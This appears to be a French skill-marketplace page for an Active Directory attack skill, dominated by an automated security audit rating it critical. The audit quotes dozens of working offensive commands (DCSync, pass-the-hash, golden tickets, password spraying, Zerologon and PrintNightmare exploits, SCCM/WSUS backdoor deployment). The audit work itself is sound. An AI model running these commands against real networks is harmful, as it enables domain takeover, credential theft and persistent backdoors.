Compétences active-directory-attacks
📦
active-directory-attacks
Révision du contenu r1 Critique ⚙️ Commandes externes🌐 Accès réseau📁 Accès au système de fichiers
Évaluer les chemins d’attaque Active Directory
Les évaluations Active Directory nécessitent des références organisées pour les workflows d’attaque. Cette compétence cartographie la reconnaissance, l’abus d’identifiants, les attaques Kerberos, les chemins de relais et les techniques AD avancées pour les tests autorisés.
Prend en charge: Claude Codex Code(CC)
N’installez pas automatiquement ce Skill.
La politique de référence exige un examen par un opérateur avant toute action d’installation.
Installer avec mon Agent
Copiez cette demande dans votre Agent. Elle contient la page Skill de référence et le manifeste.
Demande d’agent
Review the Skillstore skill "active-directory-attacks" from https://skillstore.io/skills/sickn33-active-directory-attacks.md and its manifest at https://skillstore.io/api/skills/sickn33-active-directory-attacks/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Votre Agent doit toujours présenter son plan et demander toute confirmation exigée par la politique de sécurité.
Ressources lisibles par les agents
Utilisez ces liens lorsqu’un Agent IA, un crawler ou un script a besoin d’un contexte propre au lieu de lire toute la page.
Tester
Utilisation de « active-directory-attacks ». J’ai besoin d’un aperçu sûr avant une évaluation de laboratoire AD.
Résultat attendu:
La réponse décrit les prérequis, l’autorisation écrite, le périmètre de test, les limites de verrouillage de comptes, la gestion des preuves et les attentes de nettoyage.
Utilisation de « active-directory-attacks ». Aide-moi à organiser les résultats issus du Kerberoasting et des tests de relais.
Résultat attendu:
La réponse regroupe les résultats par technique, actifs affectés, privilèges requis, risque métier et suivi défensif recommandé.
Utilisation de « active-directory-attacks ». Prépare un module de formation sur les chemins d’attaque AD.
Résultat attendu:
La réponse crée un module axé sur le laboratoire couvrant les concepts, les prérequis, les observations attendues et les limites de sécurité sans cibles de production.
Audit de sécurité
Critiquev6 • 09/07/2026 Ouvrir le rapport versionné
AI review confirmed that the skill is an offensive Active Directory attack playbook. It includes executable command examples for credential theft, Kerberos ticket forgery, NTLM relay, AD CS abuse, CVE exploitation, lateral movement, persistence, and backdoor deployment. No prompt injection language was found, but the content is unsafe for broad marketplace publication without major defensive rewriting.
2
Fichiers analysés
775
Lignes analysées
101
Éléments à examiner
0
Faux positifs ignorés
Préoccupations de sécurité confirmées (33)
Critique
Malware type keywords
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe"
The cited line is in a workflow that creates, deploys, or cleans up backdoor or malicious payload artifacts. This is explicit unauthorized persistence guidance.
Critique
Malware type keywords
MalSCCM.exe app /create /name:backdoor /uncpath:"\\SCCM\SCCMContentLib$\evil.exe"
The cited line is in a workflow that creates, deploys, or cleans up backdoor or malicious payload artifacts. This is explicit unauthorized persistence guidance.
Critique
Malware type keywords
MalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup /assignmentname:update
The cited line is in a workflow that creates, deploys, or cleans up backdoor or malicious payload artifacts. This is explicit unauthorized persistence guidance.
Critique
Malware type keywords
MalSCCM.exe app /cleanup /name:backdoor
The cited line is in a workflow that creates, deploys, or cleans up backdoor or malicious payload artifacts. This is explicit unauthorized persistence guidance.
Critique
Malware type keywords
SharpWSUS.exe create /payload:"C:\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user backdoo
The cited line is in a workflow that creates, deploys, or cleans up backdoor or malicious payload artifacts. This is explicit unauthorized persistence guidance.
Critique
Offensive Domain Compromise Objective
The skill states outputs that include extracted credentials, Kerberos tickets for impersonation, Domain Administrator access, and persistent access mechanisms.
The deliverables explicitly describe credential theft, privilege escalation, impersonation, and persistence as intended outcomes.
Critique
End-to-End Credential Theft Workflow
The skill chains DCSync, Kerberoasting, ticket forgery, pass-the-hash, and certificate authentication into actionable compromise workflows.
The cited sections provide a coherent path from credential extraction to authentication as privileged users.
Critique
Backdoor Deployment and Persistence Workflow
The advanced reference shows creating malicious applications and updates that add backdoor accounts, then cleaning deployment records.
The section explicitly describes malicious SCCM and WSUS deployment steps that create backdoor access.
Afficher les 33 problèmes confirmés
Élevé
Certificate/key files
certipy auth -pfx administrator.pfx -dc-ip DC_IP
The finding references certificate or keytab material used for authentication and credential extraction. In this guide, those files enable impersonation or recovery of AD secrets.
Élevé
Certificate/key files
python3 gettgtpkinit.py -cert-pfx "cert.pfx" -pfx-pass "password" "domain.local/TARGET" target.ccach
The finding references certificate or keytab material used for authentication and credential extraction. In this guide, those files enable impersonation or recovery of AD secrets.
Élevé
Certificate/key files
klist -k /etc/krb5.keytab
The finding references certificate or keytab material used for authentication and credential extraction. In this guide, those files enable impersonation or recovery of AD secrets.
Élevé
Certificate/key files
python3 keytabextract.py /etc/krb5.keytab
The finding references certificate or keytab material used for authentication and credential extraction. In this guide, those files enable impersonation or recovery of AD secrets.
Élevé
Windows registry access
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
The registry modification enables DSRM administrator logon behavior after dumping credentials. This changes Windows authentication behavior for persistence or privilege abuse.
Élevé
Weak cryptographic algorithm
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domai
The weak-crypto indicator appears in commands that use hashes or RC4 keys for Kerberos ticket attacks. The risk is credential replay and forged authentication, not ordinary cryptography use.
Élevé
Weak cryptographic algorithm
.\Rubeus.exe s4u /user:AttackerPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.dom
The weak-crypto indicator appears in commands that use hashes or RC4 keys for Kerberos ticket attacks. The risk is credential replay and forged authentication, not ordinary cryptography use.
Élevé
Weak cryptographic algorithm
kerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:
The weak-crypto indicator appears in commands that use hashes or RC4 keys for Kerberos ticket attacks. The risk is credential replay and forged authentication, not ordinary cryptography use.
Élevé
Secure file deletion
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
The static label is imprecise, but the line changes HKLM DSRM logon behavior in an offensive credential workflow. It remains a confirmed security risk because it enables persistence.
Élevé
Certificate/key files
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
The finding references certificate or keytab material used for authentication and credential extraction. In this guide, those files enable impersonation or recovery of AD secrets.
Élevé
Weak cryptographic algorithm
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.lo
The weak-crypto indicator appears in commands that use hashes or RC4 keys for Kerberos ticket attacks. The risk is credential replay and forged authentication, not ordinary cryptography use.
Élevé
Weak cryptographic algorithm
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
The weak-crypto indicator appears in commands that use hashes or RC4 keys for Kerberos ticket attacks. The risk is credential replay and forged authentication, not ordinary cryptography use.
Élevé
Network scanning tools
nmap -sT 10.10.10.10 -p445 --script smb2-time
The nmap command targets SMB on a domain controller address to prepare Kerberos and AD attack workflows. This is active network probing guidance.
Élevé
Authorization Disclaimer Without Enforceable Guardrails
The file includes an authorized-use note, but the rest of the skill provides full attack workflows without refusal criteria or defensive-only fallbacks.
The disclaimer is real, but it does not constrain the actionable offensive content that follows throughout the skill.
Moyen
System reconnaissance
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
The line appears in an offensive AD compromise workflow rather than a benign inventory task. It supports abuse of tickets, GPOs, ADFS, or required credentials for later exploitation.
Moyen
System reconnaissance
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://targ
The line appears in an offensive AD compromise workflow rather than a benign inventory task. It supports abuse of tickets, GPOs, ADFS, or required credentials for later exploitation.
Moyen
Network reconnaissance
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -get-acl
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
Moyen
Network reconnaissance
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -add CT_FLAG
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
Moyen
Network reconnaissance
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -value 0 -pr
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
Moyen
System reconnaissance
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
The line appears in an offensive AD compromise workflow rather than a benign inventory task. It supports abuse of tickets, GPOs, ADFS, or required credentials for later exploitation.
Moyen
Network reconnaissance
Find-LocalAdminAccess -Verbose
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
Moyen
Network reconnaissance
| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
Faible
Network reconnaissance
- ADFS service account access
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
Faible
System reconnaissance
- Have valid domain credentials for most attacks
The line appears in an offensive AD compromise workflow rather than a benign inventory task. It supports abuse of tickets, GPOs, ADFS, or required credentials for later exploitation.
Faible
Network reconnaissance
- Domain Administrator access
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
Éléments d’évaluation des capacités (101)
Il s’agit de capacités locales réelles qui peuvent être attendues pour cette compétence ; elles nécessitent donc un examen, mais ne sont pas comptabilisées comme comportement malveillant confirmé.
Critique
Windows cmd.exe
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe"
The command uses cmd.exe to create a backdoor user through GPO or WSUS abuse. This is direct persistence and unauthorized access guidance.
Critique
Windows cmd.exe
SharpWSUS.exe create /payload:"C:\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user backdoo
The command uses cmd.exe to create a backdoor user through GPO or WSUS abuse. This is direct persistence and unauthorized access guidance.
Élevé
Shell command substitution
New-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString 'Password123' -AsPl
The command creates an attacker-controlled machine account for resource-based constrained delegation. The substitution builds a password object inside an exploitation workflow.
Élevé
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Élevé
PowerShell invocation
# PowerShell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Élevé
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Élevé
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Élevé
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Élevé
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Élevé
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Élevé
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Élevé
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Élevé
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Élevé
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Élevé
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Élevé
PowerShell invocation
# PowerShell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Élevé
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Élevé
PowerShell invocation
# PowerShell + DSInternals
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Élevé
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Élevé
Hardcoded URL
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainCo
The URL is used as an attack endpoint for AD CS relay or ADFS Golden SAML abuse. Even though it is a placeholder domain, it is part of executable exploitation guidance.
Élevé
Hardcoded URL
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://targ
The URL is used as an attack endpoint for AD CS relay or ADFS Golden SAML abuse. Even though it is a placeholder domain, it is part of executable exploitation guidance.
Élevé
Hidden file access
/var/lib/sss/secrets/.secrets.mkey
The hidden file path is the SSSD secrets key used for Linux AD credential extraction. The surrounding section explains extracting and reusing authentication secrets.
Élevé
Ruby/shell backtick execution
| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
Élevé
Ruby/shell backtick execution
| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
Élevé
Ruby/shell backtick execution
| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
Élevé
Ruby/shell backtick execution
| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
Élevé
Ruby/shell backtick execution
| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
Élevé
Ruby/shell backtick execution
| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
Élevé
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Élevé
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Élevé
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Élevé
sudo privilege escalation
sudo date -s "14 APR 2024 18:25:16"
The command indicator appears in executable examples for Active Directory attacks. The skill teaches users how to run offensive tooling, so the risk is confirmed.
Élevé
Hardcoded URL
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainCo
The URL is used as an attack endpoint for AD CS relay or ADFS Golden SAML abuse. Even though it is a placeholder domain, it is part of executable exploitation guidance.
Moyen
Temp directory access
ls /tmp/ | grep krb5cc
The temp directory access is used to locate and reuse Kerberos credential caches. In context, it supports ticket theft or impersonation workflows.
Moyen
Temp directory access
export KRB5CCNAME=/tmp/krb5cc_1000
The temp directory access is used to locate and reuse Kerberos credential caches. In context, it supports ticket theft or impersonation workflows.
Moyen
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```powershell
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```powershell
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```powershell
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Moyen
Hardcoded IP address
nmap -sT 10.10.10.10 -p445 --script smb2-time
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Moyen
Hardcoded IP address
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Moyen
Hardcoded IP address
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Moyen
Hardcoded IP address
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Moyen
Hardcoded IP address
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Moyen
Hardcoded IP address
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Moyen
Hardcoded IP address
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Moyen
Hardcoded IP address
secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Moyen
Hardcoded IP address
psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Moyen
Hardcoded IP address
wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Moyen
Hardcoded IP address
smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Moyen
Hardcoded IP address
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Moyen
Hardcoded IP address
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Moyen
Hardcoded IP address
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Moyen
Hardcoded IP address
certipy find -u user@domain.local -p password -dc-ip 10.10.10.10
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Moyen
Hardcoded IP address
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Moyen
Hardcoded IP address
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Moyen
Hardcoded IP address
python3 cve-2020-1472-exploit.py DC01 10.10.10.10
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Moyen
Hardcoded IP address
secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Moyen
Hardcoded IP address
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Moyen
Hardcoded IP address
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Moyen
Hardcoded IP address
python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\attacker\share\evil.dll'
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Moyen
Hardcoded IP address
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Moyen
Hardcoded IP address
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Moyen
Hardcoded IP address
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Moyen
Hardcoded IP address
psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Moyen
Hardcoded IP address
python3 printerbug.py domain.local/user:pass@target 10.10.10.12
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Facteurs de risque
⚙️ Commandes externes (50)
